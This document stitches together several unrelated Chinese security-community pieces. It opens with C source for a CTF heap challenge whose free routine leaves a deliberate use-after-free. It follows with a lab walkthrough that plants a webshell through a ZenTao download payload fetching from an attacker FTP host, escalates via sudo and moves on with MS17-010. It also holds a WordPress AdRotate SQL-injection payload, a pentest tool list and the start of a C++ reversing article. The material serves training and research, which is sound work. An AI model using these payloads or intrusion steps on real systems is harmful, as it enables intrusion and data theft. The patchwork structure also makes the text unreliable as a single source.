SleeyHolder源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#define BASE 40
char *s_ptr;
char *f_ptr;
char *q_ptr;
int s_flag;
int f_flag;
int q_flag;
void add()
{
char buf[4];
char *ptr;
unsigned int choice;
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if(!q_flag)
puts("3. Keep a huge secret and lock it forever");
memset(buf, 0 ,sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
if(f_flag)
return;
f_ptr = calloc(1, BASE);
f_flag = 1;
puts("Tell me your secret: ");
read(0, f_ptr, BASE);
break;
case 2:
if(s_flag)
return;
s_ptr = calloc(1, BASE*100);
s_flag = 1;
puts("Tell me your secret: ");
read(0, s_ptr, BASE*100);
break;
case 3:
if(q_flag)
return;
q_ptr = calloc(1, BASE*10000);
q_flag = 1;
puts("Tell me your secret: ");
read(0, q_ptr, BASE*10000);
break;
}
}
void del()
{
char buf[4];
int choice;
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
free(f_ptr);
f_flag = 0;
break;
case 2:
free(s_ptr);
s_flag = 0;
break;
}
}
void update()
{
char buf[4];
int choice;
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
if(f_flag)
{
puts("Tell me your secret: ");
read(0, f_ptr, BASE);
}
break;
case 2:
if(s_flag)
{
puts("Tell me your secret: ");
read(0, s_ptr, BASE*100);
}
break;
}
}
void handler(){
puts("Timeout!");
exit(1);
}
void init_prog(){
setvbuf(stdout, 0,2,0);
signal(SIGALRM, handler);
alarm(60);
}
int main()
{
init_prog();
puts("Waking Sleepy Holder up ...");
int fd = open("/dev/urandom", O_RDONLY);
unsigned int rand_size;
read(fd, &rand_size, sizeof(rand_size));
rand_size %= 4096;
malloc(rand_size);
sleep(3);
char buf[4];
unsigned int choice;
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while(1){
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(buf, 0 ,sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice){
case 1:
add();
break;
case 2:
del();
break;
case 3:
update();
break;
}
}
} | 社区文章 |
# FQvuln 1靶场渗透测试实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
FQvuln靶场是风起原创漏洞靶场，集成了各种安全漏洞，适合在学习过程中检验自身渗透能力。目前FQvuln 1已经发布，难度相对适中。拓扑图如下：
## 环境搭建
镜像下载链接：<https://pan.baidu.com/s/1d64CMFCOZMeWJ8V9BtyKuQ>
提取码：l3zy
推荐使用Vmware配置使用，网卡配置信息如拓扑图所示。
添加网络VMnet2、VMnet3 配置类型为仅主机模式，子网地址分别为Target1：192.168.42.0/24
，Target2：192.168.43.0/24。
**Target 1配置如下:**
因为这里Target1模拟为对外项目管理系统，需要外网可以进行访问，所以网络适配器设置为NAT模式方便测试。网络适配器2设置为VMnet2，为第一层内网IP。
**Target 2 配置如下**
该主机为OA管理系统，网络适配器设置为自定义VMnet2，网络适配器2为VMnet3，这里VMnet3代表第二层内网段，是内网用户所在区域。
**P.S.如果这里配置第二块网卡发现只识别了一个IP，那么则可以添加第三块网卡配置VMnet3，只是存在这个可能，望注意。**
**Target 3 配置如下**
Target3仅需要配置一块网卡，为VMnet3即可，为内网用户主机。
## Web打点渗透
如果您是第一次复现该靶机，这里建议先独立渗透一遍，然后再根据个人情况浏览下文，效果会更好一些，当然以下仅作参考。
### 信息收集
首先对目标主机进行扫描，确定配置的IP的是多少。
这里我们可以得到Tagrte1靶机的MAC地址为：00:0C:29:29:65:F7，然后使用`nmap -sn
192.168.174.0/24`对该网段进行扫描，得到目标靶机的IP地址为：192.168.174.132
然后我们对192.168.174.132进行扫描，使用命令`nmap -T4 -sV -O 192.168.174.132`
我们可以得到信息如下：
开放端口：80(Apache)、3306(MySQL)
操作系统：Linux(Ubuntu)
MAC地址：00:0C:29:29:65:F7
首先访问<http://192.168.174.132> 界面如下：
这里通过Wappalyzer得到信息与上面基本一致。我们可以知道这是一个禅道搭建的项目管理系统，通过F12我们可以再前端中得到该版本为V12.4.2，以及第一个提示。
搜索关于禅道V12.4.2的相关漏洞，得到在该版本存在一个任意文件下载漏洞，然后我们进行复现。
### 漏洞复现
但是发现该漏洞需要后台权限，然后通过FUZZ发现禅道会对登录次数进行限制，所以爆破基本是不太可能的。那么我们根据提示在github上搜索WebExploit项目管理系统。发现得到了备份文件。
通过对备份文件的审计，我们得到禅道的数据库配置文件为：/zentaopms/config/my.php
得到数据库用户名为:target1 密码：qwer123!@#，在之前的信息收集我们可以得知3306端口对外开放，那么我们进行尝试连接，发现成功连接数据库。
于是我们检索数据库配置文件发现，后台用户密码hash，然后进行破解得到后台用户名及密码。
破解结果
得到用户名：admin 密码：qazwsx123
利用得到的账号密码成功登录至后台。
右上角有提示
既然拿到后台权限那么我们开始GETSHELL吧！
开启一个FTP服务，这里使用python模块开启，命令：`python -m pyftpdlib -d /root/ftp -p 21`
注意提前在/root/ftp目录下存放webshell文件。
如上图已经成功开启服务。
FTP webshell地址为`ftp://192.168.174.128/shell.php` 然后将其地址进行base64加密。
然后构建payload并进行访问：
`http://192.168.174.132/zentaopms/www/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC4xNzQuMTI4L3NoZWxsLnBocA==`
显示保存成功。
Webshell连接地址：`http://192.168.174.132/data/client/1/shell.php`
连接成功！
查看shell权限为www-data
常规操作`sudo -l`看一下
可以看到可以无需密码以任何权限执行/var/www/html/zentaopms/www/tips.sh文件。
我们来尝试在文件中写入`whoami`并执行试一下。发现没有这个文件？不要紧，我们可以自己创建一个然后`chmod +x
/var/www/html/zentaopms/www/tips.sh`赋予执行权限。
然后我们可以全局搜索一下flag相关的文件名。
在文件中写入`find / -name "*flag*"`并执行。
然后查看flag文件，在文件中写入cat /root/flag1.txt并执行。
得到第一个靶标！
## 内网渗透OA系统
### 信息收集
为了方便测试我们弹一个meterpreter，生成方法百度即可。 **P.S.这里建议使用上述的提权方式弹一个root权限的shell。**
查看到该靶机存在其他内网段，添加路由。
挂一个socks4a代理。然后在本地上配置Proxifier进行探测。
Proxifier配置如下（嗯，为啥是Socks5了？因为我重新配了呗）：
发现192.168.42.129开放了80端口，因为我们在本地配置了代理，那么直接访问即可，发现是一个通达OA系统。这里建议在配置Proxifier时在代理规则处仅代理需要使用的程序即可，不然代理可能会崩。
看到这个界面百度一下风起的通达EXP，直接秒就行，不用犹豫。这里需要注意的是，对于通达OA的shell如果是手动复现，不能是一句话木马，可以使用调用windows
COM组件的webshell或者具有一定混淆功能的木马。
然后连接webshell，查看用户权限为 **oa-pc\oa**
如下图，我们可以得到这是一台windows7主机以及相关配置信息。
继续信息收集，查看是否存在杀软，命令:tasklist
/svc，在线查询一下，发现存在火绒以及D盾，所以这也明确了，这是本靶场难度较高的一环，难在我们需要熟悉免杀技术，与绝大数靶场不同，这也是最贴近真实的一个细节。
当然这里我装的是火绒的杀毒软件，熟悉免杀的小伙伴都知道，这个是比较容易过的杀软了，我觉得免杀技术最重要的还是编程技术，如果说免杀所需的代码不能独立完成的话，建议重新学习一下编程，这在整个渗透测试的环节很重要的，也是区别于脚本小子和白帽的一个分水岭。所以笔者也建议可以加强代码的学习，如果觉得会编程技术，但是还是写不出来，那还应继续学习多思考。
### 横向测试
下面言归正传，上传免杀msf木马，获得一个meterpreter会话。这里需要注意因为target2不出网，所以我们需要使用正向连接的payload。
**P.S.相信操作到这一步的时候，大部分小伙伴会好奇为啥弹不回shell？那么这里提示一下，为啥不看看windows防火墙是否开启呢？那么该怎么做不用多说了吧**
提权至system权限后，使用命令全局检索C盘下的flag相关的文件名。
命令: **dir /s /b c:*flag***
得到第二个靶标！
当然这里有一个小提示就是在关闭Windows防火墙后为什么不试着再看一遍开放端口呢？攻击的方式不止一个。
在获取到OA系统权限后，继续查看是否存在其他网段。发现存在192.168.43.0/24网段，进行探测存活主机。
探测结果如下：
发现一个192.168.43.128的主机
继续我们对目标主机进行端口扫描以及操作系统探测。
## 拿下内网主机
发现开放445端口，并且操作系统是windows server
2008，那么直接盲打一波MS17-010。主机载荷使用正向连接哦，因为目标主机不出网。当然这里不建议使用msf的exp，因为很不稳定，成功率较低，可以使用python版的exp进行攻击，这里为了方便演示使用的msf。
获得最后一个靶标！
渗透结束。
## 后记
本靶场不进行任何盈利活动，推广请标注来源。希望通过FQvuln靶场的学习能够对您有所收获，谢谢阅读！
**P.S.小安是我大哥** | 社区文章 |
## 漏洞分析：AdRotate PluginSQL注入
在AdRotate Plugin5.2以及5.2之前的版本中，存在一处sql注入漏洞，该漏洞为FortiGuard实验室发现
漏洞位于AdRotate Plugin的\dashboard\publisher\adverts-edit.php
可见上图中，存在着多出sql查询语句
但是位于25行处，明显可见存在sql注入隐患
位于上图红框处，在拼接sql语句时，$ad_edit_id变量被拼接在id值部分。但是在这里，并没有用单引号将其值闭合
$ad_edit_id变量值可以通过get请求的方式传入，如下图
位于上图173行，可见$ad_edit_id = esc_attr($_GET['ad']);
esc_attr方法是用来过滤HTML标签的，对sql注入无影响
esc_attr方法见下图
这样就导致了一个简单的sql注入的产生
具体的payload如下
http://127.0.0.1/wordpress/wp-admin/admin.php?page=adrotate-ads&view=edit&ad=-1+UNION+SELECT+1%2CUSER%28%29%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1
这里是一个有回显的注入，数据库user被回显到name处，sql注入执行成功
漏洞分析到此结束，这个漏洞自身并没有什么亮点，不过在分析这个漏洞时，却发现了一些知识点
## 问题一、Wordpress是如何处理$_GET $_POST等请求
在上文分析的漏洞中，$ad_edit_id参数由$_GET['ad']获取
传入并拼接的sql语句中执行
如果$ad_edit_id被单引号闭合呢？例如下图
我们是否可以通过get传入单引号，闭合语句中的单引号并进行注入呢？
我们构造一个简单的payload测试下
&ad=-1’
在adrotate_manage方法中下断
可见在adrotate_manage中的$_GET['ad']中的值，此时为”-1\’”
也就是说，我们传入的单引号在进入adrotate_manage方法之前，已经被wordpress转义
具体在什么位置被转义的呢？跟踪一下wordpress的代码
位于wp-includes\load.php中
由上图可见，wordpress将$_GET\$_POST\$_COOKIE\$_SERVER中的值，使用add_magic_quotes方法进行过滤
值得一提的是，随后，将过滤后的GET与POST数组合并后覆盖$_REQUEST。在以往一些安全性不高的程序中，往往会出现，过滤了GET与POST，却忘记过滤REQUEST的情况，导致漏洞的产生。
跟入add_magic_quotes方法
可见，该方法使用addslashes方法，将传入的键值过滤，因此我们传入的”-1’”被过滤为”-1\’”，可见wordpress在入口处是存在过滤机制的
这里引申出一个思考题(问题二)：
## 问题二：wordprss的这种过滤机制，是否仍然存在安全隐患
连接问题一，我们已经知道wordpress是如何处理请求的，即处理请求中的键值
如果一个插件开发过程中，存在如下的代码
插件从请求中读取数组，然后通过INSERT方式将其插入数据库呢？
在这种情况下，可以在传入的键名中加入payload，如下图
页面sleep 5秒，sql注入成功
以上代码为以往漏洞挖掘中在其他程序中发现的真实案例，有兴趣可以参见
[从某cmsV4.1.0 sql注入漏洞看程序开发安全隐患](https://xz.aliyun.com/t/6237 "从某cmsV4.1.0
sql注入漏洞看程序开发安全隐患")
在开发wordpress插件时，会不会仍然有开发者犯下这样的错误呢？
## 问题三：wordpress是如何加载这个插件，我们如何构造利用链
我们的利用点位于wp-content\plugins\adrotate\dashboard\publisher\adverts-edit.php
这个文件并没有定义与初始化一些变量，直接通过url访问这个地址，显然是不行的
查找adverts-edit.php在哪里被包含
跟到adrotate.php中，位于274行处，adrotate_manage方法中的if分支里
在adrotate_manage方法中，还可以看到$ad_edit_id变量被赋值的过程，见上图173行处
但是新的问题是，adrotate_manage方法是如何被wordpress调用的，我们怎样构造url才能执行adrotate_manage方法？
在adrotate.php106行处
adrotate_manage作为参数传入add_submenu_page方法
我们来看下add_submenu_page方法
add_submenu_page()方法为后台顶级菜单添加子菜单，它的参数解释如下
`$parent_slug：`(字符串) (必须)顶级菜单名称，可以在顶级菜单中加入我们的子菜单，也可以在自定义顶级菜单中加入子菜单；（也就是
add_menu_page() 函数中的 $menu_slug 参数）
`$page_title：`(字符串) (必须) 这个参数是子菜单的标题，将会显示在浏览器的标题栏，默认为空；
`$menu_title：`(字符串) (必须) 显示的菜单名称，默认为空；
`$capability：`(字符串) (必须) 用户权限，定义了具有哪些权限的用户会看到这个子菜单（权限部分请看文章结尾处），默认为空；
`$menu_slug：`(字符串) (必须) 显示在URl上面的菜单名称，默认为空；
`$function：`所有调用的函数名称，通过调用这个函数来显示这个子菜单页面的内容。
回到本插件中可以看到，在adrotate中，adrotate插件注册了一个名为Manage
Adverts的子菜单，当点击此菜单时，将会执行adrotate_manage方法，此时url为
http://127.0.0.1/wordpress/wp-admin/admin.php?page=adrotate-ads
page参数后面的值为add_submenu_page中$menu_slug的值
既然Manage Adverts为子菜单，那么它的顶级菜单是什么？
可见，在上图103行处，存在一处add_menu_page方法，该方法定义了该插件的顶级菜单，名为AdRotate，访问url为
http://127.0.0.1/wordpress/wp-admin/admin.php?page=adrotate
登录wordpress后台，安装好adrotate插件后，可见adrotate已经出现在菜单中，主次菜单名与url符合我们的预期
回头继续看代码，以上定义顶级菜单，子菜单的行为，都在adrotate_dashboard方法中
adrotate_dashboard方法是如何被wordpress加载的呢？
仍然在adrotate.php中
在上图77行处，adrotate_dashboard方法作为参数传递入add_action方法中
add_action方法的作用是将函数连接到指定action上。在这里，将adrotate_dashboard方法连接到admin_menu 钩子上
而admin_menu 钩子的作用是在管理员加载管理菜单之前触发所连接上的函数。
也就是说，在管理员加载管理菜单之前，我们的adrotate_dashboard方法会被加载，adrotate_dashboard方法中的代码被执行，所以我们的adrotate菜单被添加到管理页面的菜单栏中
## 后记
漏洞比较简单，但是分析wordpress机制的过程还是比较有意思的 | 社区文章 |
# 渗透测试工具
`渗透测试工具`
攻击可能是渗透测试中最迷人的部分之一了，但它通常是用暴力破解而不是精确制导来完成的。只有当你知道针对目标的一个特定漏洞很可能会成功的时候，你才应该发起一次攻击。即在利用漏洞之前，您应该知道目标是存在该漏洞的，当然，在防止特定漏洞利用的目标上可能仍会出现未知的保护措施。如果你作为一个渗透测试工程师或客户，无脑地发出大量的攻击数据是徒劳的，它们是无效请求，不会带来任何价值。首先做好前期工作，然后展开研究会更容易取得理想成果。
## 渗透测试操作系统
* [Kali](https://www.kali.org/) \- 为数字取证和渗透测试而设计的Linux发行版
* [ArchStrike](https://archstrike.org/) \- 安全专业人员和相关爱好者使用操作系统，基于Arch Linux
* [BlackArch](https://www.blackarch.org/) \- 为渗透测试工程师和安全研究员设计的操作系统，基于Arch Linux的发行版
* [NST](http://networksecuritytoolkit.org/) \- 网络安全套件发行版
* [Pentoo](http://www.pentoo.ch/) \- 以安全研究为重点的操作系统，LiveCD启动，基于Gentoo
* [BackBox](https://backbox.org/) \- 为渗透测试工程师和安全评估设计的操作系统，基于Ubuntu发行版
* [Parrot](https://www.parrotsec.org/) \- 类似Kali的操作系统，支持多种架构
## 基本的渗透测试工具
* [Metasploit Framework](https://www.metasploit.com/) \- 世界范围内最广为使用的渗透测试软件
* [Burp Suite](https://portswigger.net/burp/) \- 用于Web应用程序安全测试的集成平台
* [ExploitPack](http://exploitpack.com/) \- 包含大量利用工具(Exploit)的图形化渗透测试工具
* [BeeF](https://github.com/beefproject/beef) \- 针对于浏览器攻击的框架项目
* [faraday](https://github.com/infobyte/faraday) \- 协同渗透测试与漏洞管理平台
* [evilgrade](https://github.com/infobyte/evilgrade) \- 较新的攻击工具框架
* [commix](https://github.com/stasinopoulos/commix) \- 全自动操作系统命令注入和利用工具
* [routersploit](https://github.com/reverse-shell/routersploit) \- 针对路由器的全自动渗透测试工具
* [exploit-database](https://github.com/offensive-security/exploit-database) \- Offensive 安全团队的漏洞利用信息数据库集合
## Docker for Penetration Testing
* `docker pull kalilinux/kali-linux-docker` [Kali Linux的Docker版](https://hub.docker.com/r/kalilinux/kali-linux-docker/)
* `docker pull owasp/zap2docker-stable` \- [OWASP ZAP扫描器](https://github.com/zaproxy/zaproxy)
* `docker pull wpscanteam/wpscan` \- [WPScan，WordPress安全检测工具](https://hub.docker.com/r/wpscanteam/wpscan/)
* `docker pull pandrew/metasploit` \- [metasploit的Docker](https://hub.docker.com/r/pandrew/metasploit/)
* `docker pull citizenstig/dvwa` \- [DVWA漏洞演示平台Docker](https://hub.docker.com/r/citizenstig/dvwa/)
* `docker pull wpscanteam/vulnerablewordpress` \- [已知存在漏洞的WordPress版本](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/)
* `docker pull hmlio/vaas-cve-2014-6271` \- [bash破壳漏洞Docker](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/)
* `docker pull hmlio/vaas-cve-2014-0160` \- [心脏滴血漏洞Docker](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/)
* `docker pull opendns/security-ninjas` \- [安全忍者Docker](https://hub.docker.com/r/opendns/security-ninjas/)
* `docker pull diogomonica/docker-bench-security` \- [bench安全测试Docker](https://hub.docker.com/r/diogomonica/docker-bench-security/)
* `docker pull ismisepaul/securityshepherd` \- [OWASP 安全指导](https://hub.docker.com/r/ismisepaul/securityshepherd/)
* `docker pull danmx/docker-owasp-webgoat` \- [OWASP Web靶场Docker](https://hub.docker.com/r/danmx/docker-owasp-webgoat/)
* `docker-compose build && docker-compose up` \- [OWASP Node.js渗透靶场](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker)
* `docker pull citizenstig/nowasp` \- [OWASP 多种Web渗透靶场程序](https://hub.docker.com/r/citizenstig/nowasp/)
* `docker pull bkimminich/juice-shop` \- [OWASP Juice Shop渗透靶场](https://github.com/bkimminich/juice-shop#docker-container--)
## 安全漏洞扫描器
* [Nexpose](https://www.rapid7.com/products/nexpose/) \- 漏洞和风险管理软件
* [Nessus](http://www.tenable.com/products/nessus-vulnerability-scanner) \- 漏洞，配置和合规性评估
* [Nikto](https://cirt.net/nikto2) \- Web应用程序安全扫描器
* [OpenVAS](http://www.openvas.org/) \- 开源漏洞扫描器和管理软件
* [OWASP Zed Attack Proxy](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) \- 为Web应用程序设计的渗透测试工具
* [Secapps](https://secapps.com/) \- 集成Web应用程序安全测试环境
* [w3af](https://github.com/andresriancho/w3af) \- Web应用程序攻击和评估框架
* [Wapiti](http://wapiti.sourceforge.net/) \- Web应用程序漏洞扫描器
* [WebReaver](http://www.webreaver.com/) \- 为 Mac OS X设计的Web应用程序漏洞扫描器
* [DVCS Ripper](https://github.com/kost/dvcs-ripper) \- Rip网络可访问（分布式）版本控制系统：SVN / GIT / HG / BZR
* [arachni](https://github.com/Arachni/arachni) \- Web应用程序安全扫描框架
## 网络工具
* [nmap](https://nmap.org/) \- 安全审计和网络嗅探的免费扫描器
* [pig](https://github.com/rafael-santiago/pig) \- Linux平台的网络数据包构造工具
* [tcpdump/libpcap](http://www.tcpdump.org/) \- 一个运行在命令行下的通用数据包分析工具
* [Wireshark](https://www.wireshark.org/) \- 一个同时支持Unix和Windows平台的网络协议分析工具
* [Network Tools](http://network-tools.com/) \- 各种网络工具: ping, lookup, whois, 等等
* [netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) \- 网络嗅探中的瑞士军刀
* [Intercepter-NG](http://sniff.su/) \- 多功能的网络嗅探套件
* [SPARTA](http://sparta.secforce.com/) \- 针对网络基础设施的渗透测试工具
* [dnschef](http://thesprawl.org/projects/dnschef/) \- 为渗透测试员设计，可高度定制化的DNS代理
* [DNSDumpster](https://dnsdumpster.com/) \- 在线DNS侦察和搜索服务
* [dnsenum](https://github.com/fwaeytens/dnsenum/) \- 用于枚举域名DNS信息，尝试区域传输并进行子域名爆破和DNS反向查询的Perl脚本
* [dnsmap](https://github.com/makefu/dnsmap/) \- 被动DNS网络映射工具
* [dnsrecon](https://github.com/darkoperator/dnsrecon/) \- DNS枚举脚本
* [dnstracer](http://www.mavetju.org/unix/dnstracer.php) \- 追踪DNS服务器获取信息的来源并获取完整的DNS链路
* [passivedns-client](https://github.com/chrislee35/passivedns-client) \- 提供一个用于查询多个被动DNS提供商的库和查询工具
* [passivedns](https://github.com/gamelinux/passivedns) \- 一个用于记录所有DNS服务器返回信息从而用于被动DNS设置的网络嗅探器
* [Mass Scan](https://github.com/robertdavidgraham/masscan) \- TCP端口扫描器，通过异步传输SYN数据包实现，可在5分钟内扫描整个互联网
* [Zarp](https://github.com/hatRiot/zarp) \- Zarp是一个以内网为主的网络攻击工具
* [mitmproxy](https://github.com/mitmproxy/mitmproxy) \- 为渗透测试员和软件开发者设计的支持SSL的HTTP代理
* [mallory](https://github.com/justmao945/mallory) \- 通过SSH代理HTTP和HTTPS
* [Netzob](https://github.com/netzob/netzob) \- 针对通信协议的流量构造和模糊测试的逆向工程
* [DET](https://github.com/sensepost/DET) \- DET是同时使用单个或多个隧道进行数据渗漏的POC(概念证明实例)
* [pwnat](https://github.com/samyk/pwnat) \- 攻击防火墙和NAT的漏洞
* [dsniff](https://www.monkey.org/~dugsong/dsniff/) \- 一套用于网络审计和渗透测试的工具
* [tgcd](http://tgcd.sourceforge.net/) \- 一个简易实用的Unix网络程序，可以将基于TCP/IP的网络服务入口扩展到防火墙之外
* [smbmap](https://github.com/ShawnDEvans/smbmap) \- 一个方便的SMB枚举工具
* [scapy](https://github.com/secdev/scapy) \- 一个基于Python的交互式书包操作程序和调用库
* [Dshell](https://github.com/USArmyResearchLab/Dshell) \- 网络取证分析框架
* [Debookee (MAC OS X)](http://www.iwaxx.com/debookee/) \- 拦截你网络上任何设备的流量
* [Dripcap](https://github.com/dripcap/dripcap) \- dripcap 数据包分析工具
## 无线网络工具
* [Aircrack-ng](http://www.aircrack-ng.org/) \- 一个用于无线网络审计的工具集合
* [Kismet](https://kismetwireless.net/) \- 无线网络的检测工具，嗅探工具和IDS(入侵检测系统)
* [Reaver](https://code.google.com/archive/p/reaver-wps) \- 针对WiFi防护设置的暴力攻击
* [Wifite](https://github.com/derv82/wifite) \- 自动化无线网络攻击工具
* [wifiphisher](https://github.com/sophron/wifiphisher) \- 针对WiFi的自动化钓鱼攻击
## SSL 分析工具
* [SSLyze](https://github.com/nabla-c0d3/sslyze) \- SSL配置扫描器
* [sslstrip](https://www.thoughtcrime.org/software/sslstrip/) \- 一个HTTPS分割攻击的演示
* [sslstrip2](https://github.com/LeonardoNve/sslstrip2) \- 攻击基于HSTS的网络交互
* [tls_prober](https://github.com/WestpointLtd/tls_prober) \- 获取服务器的SSL/TLS指纹
## Web 安全
* [WPScan](https://wpscan.org/) \- WordPress的黑盒漏洞扫描器
* [SQLmap](http://sqlmap.org/) \- 自动化SQL注入检测和数据库接管工具
* [weevely3](https://github.com/epinna/weevely3) \- Webshell管理工具
* [Wappalyzer](https://wappalyzer.com/) \- Wappalyzer分析当前网站所使用的技术
* [cms-explorer](https://code.google.com/archive/p/cms-explorer/) \- CMS Explorer 用于分析各种cms开发的网站所运行的各种特定模块，插件和主题
* [joomscan](https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project) \- Joomla网站的漏洞扫描器
* [WhatWeb](https://github.com/urbanadventurer/WhatWeb) \- 网站指纹识别
* [BlindElephant](http://blindelephant.sourceforge.net/) \- Web应用指纹识别
* [fimap](https://github.com/kurobeats/fimap) \- 用于扫描，构造，审计，利用远程文件包含或本地文件包含漏洞甚至谷歌搜索查找存在该漏洞的网站
* [Kadabra](https://github.com/D35m0nd142/Kadabra) \- 自动化本地文件包含漏洞扫描和利用工具
* [Kadimus](https://github.com/P0cL4bs/Kadimus) \- 本地文件包含漏洞扫描和利用工具
* [liffy](https://github.com/hvqzao/liffy) \- 本地文件包含漏洞利用工具
## 十六进制编辑器
* [HexEdit.js](https://hexed.it) \- 在线十六进制编辑器
* [Hexinator](https://hexinator.com/) (商业) - 世上最好的十六进制编辑器
## 密文破解
* [John the Ripper](http://www.openwall.com/john/) \- 快速密文爆破工具
* [Online MD5 cracker](http://www.md5crack.com/) \- 在线MD5哈希破解
* [Hashcat](http://hashcat.net/hashcat/) \- 更快的哈希破解工具
## Windows实用工具
* [Sysinternals Suite](https://technet.microsoft.com/en-us/sysinternals/bb842062) \- 故障排除实用程序
* [Windows Credentials Editor](http://www.ampliasecurity.com/research/windows-credentials-editor/) \- 用于列出已登录会话并添加，修改，列出和删除关联的凭据
* [mimikatz](http://blog.gentilkiwi.com/mimikatz) \- 针对Windows系统的权限凭据提取工具
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) \- 基于powershell的后渗透攻击框架
* [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) \- 根据目标系统的安全补丁扫描已知的安全漏洞
* [Responder](https://github.com/SpiderLabs/Responder) \- 有毒的 LLMNR, NBT-NS and MDNS，多用于建立各种钓鱼认证服务器
* [Empire](https://github.com/PowerShellEmpire/Empire) \- Empire 是一个纯PowerShell实现的后渗透攻击套件
* [Fibratus](https://github.com/rabbitstack/fibratus) \- 用于攻击和调试Windows内核的工具
## Linux实用工具
* [Linux Exploit Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester) \- Linux Exploit Suggester基于操作系统发行版本号发现已知的安全漏洞
## DDoS(分布式拒绝服务) 工具
* [LOIC](https://github.com/NewEraCracker/LOIC/) \- 一个为Windows设计的网络压力测试工具(现已支持Mac OS——译者注)
* [JS LOIC](http://metacortexsecurity.com/tools/anon/LOIC/LOICv1.html) \- LOIC的浏览器版本，JavaScript实现
* [T50](https://sourceforge.net/projects/t50/) \- 更快的网络压力测试工具
## 社会工程学工具
* [SET](https://github.com/trustedsec/social-engineer-toolkit) \- 来自TrustedSec设计的社会工程学工具套件
## 公开资源情报分析工具或平台
* [Maltego](http://www.paterva.com/web7/) \- 来自Paterva设计的开源智能取证专用软件
* [theHarvester](https://github.com/laramies/theHarvester) \- 电子邮件地址，子域名和人名的收割机
* [creepy](https://github.com/ilektrojohn/creepy) \- 一个地理位置相关的开源情报工具
* [metagoofil](https://github.com/laramies/metagoofil) \- 原始数据收割机
* [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) \- Google dorks的数据库，可用于侦察
* [Censys](https://www.censys.io/) \- 通过每天用ZMap和ZGrab扫描收集主机和网站上的数据
* [Shodan](https://www.shodan.io/) \- Shodan是世界上第一个物联网设备搜索引擎
* [recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng) \- 一个Python开发的全功能侦察工具
* [github-dorks](https://github.com/techgaun/github-dorks) \- 一个用于扫描GitHub的repos/organizations来发现潜在敏感信息泄露的命令行工具
* [vcsmap](https://github.com/melvinsh/vcsmap) \- 一个基于插件的工具，用于从公共版本控制系统扫描敏感信息
* [ZoomEye](https://www.zoomeye.org/) \- ZoomEye是一个网络空间搜索引擎，让用户找到特定的网络组件(IP，服务等等)
## 匿名工具
* [Tor](https://www.torproject.org/) \- 一个洋葱路由免费匿名工具
* [I2P](https://geti2p.net/en/) \- 隐形互联网工程
* [Nipe](https://github.com/GouveaHeitor/nipe) \- 一个使所有流量通过Tor网络发出的脚本
## 逆向工程工具
* [IDA Pro](https://www.hex-rays.com/products/ida/) \- 一个支持Windows，Mac OS和Linux平台的反汇编工具和调试器，支持多种架构
* [IDA Free](https://www.hex-rays.com/products/ida/support/download_freeware.shtml) \- IDA v5.0的免费版本
* [WDK/WinDbg](https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx) \- Windows 驱动套件和WinDbg调试器
* [OllyDbg](http://www.ollydbg.de/) \- 一个强调二进制代码分析的x86调试器
* [Radare2](http://rada.re/r/index.html) \- 开源跨平台逆向工程框架
* [x64_dbg](http://x64dbg.com/) \- 为Windows设计的x64/x32开源调试器
* [Immunity Debugger](http://debugger.immunityinc.com/) \- 编写漏洞利用和分析恶意软件的强大工具
* [Evan's Debugger](http://www.codef00.com/projects#debugger) \- Linux平台类似ollydbg的调试器
* [Medusa disassembler](https://github.com/wisk/medusa) \- 一个开源的交互式反汇编程序
* [plasma](https://github.com/joelpx/plasma) \- 针对x86/ARM/MIPS的开源交互式反汇编工具. 生成伪代码并自动代码高亮和缩进
* [peda](https://github.com/longld/peda) \- python编写的GDB调试辅助工具
## CTF Tools
* [Pwntools](https://github.com/Gallopsled/pwntools) \- CTF夺旗赛的破解工具
# 常用网址
1. <https://github.com/>
2. <https://sectools.org/>
3. <https://packetstormsecurity.com/>
4. <https://tools.kali.org/>
5. <https://blackarch.org/tools.html>
6. <https://tools.pentestbox.org/>
7. <http://www.toolswatch.org/>
8. <http://www.kitploit.com/>
9. <http://www.darknet.org.uk/>
10. <http://seclist.us/>
11. <http://sourceforge.net/> | 社区文章 |
目前网上有很多关于逆向C++的文章，但是涉及到虚函数的逆向只占很小的一部分。不过，在这里我想花一些时间来写逆向虚函数的内容。这其中涉及到很多类以及继承函数，所以我认为可以提供一些逆向的技巧。如果你已经熟悉虚函数的逆向过程，那么直接进入第2部分。这部分主要是提及一些准备工作。
另外需要提及以下几点：
代码没有经过RTTI（RTTI将在稍后讨论）编译。
使用32位x86平台
二进制文件已被抽离
大多数虚函数的实现细节不规范，不同编译器的情况也是不同的。出于这个原因，我们将专注于GCC编译器。
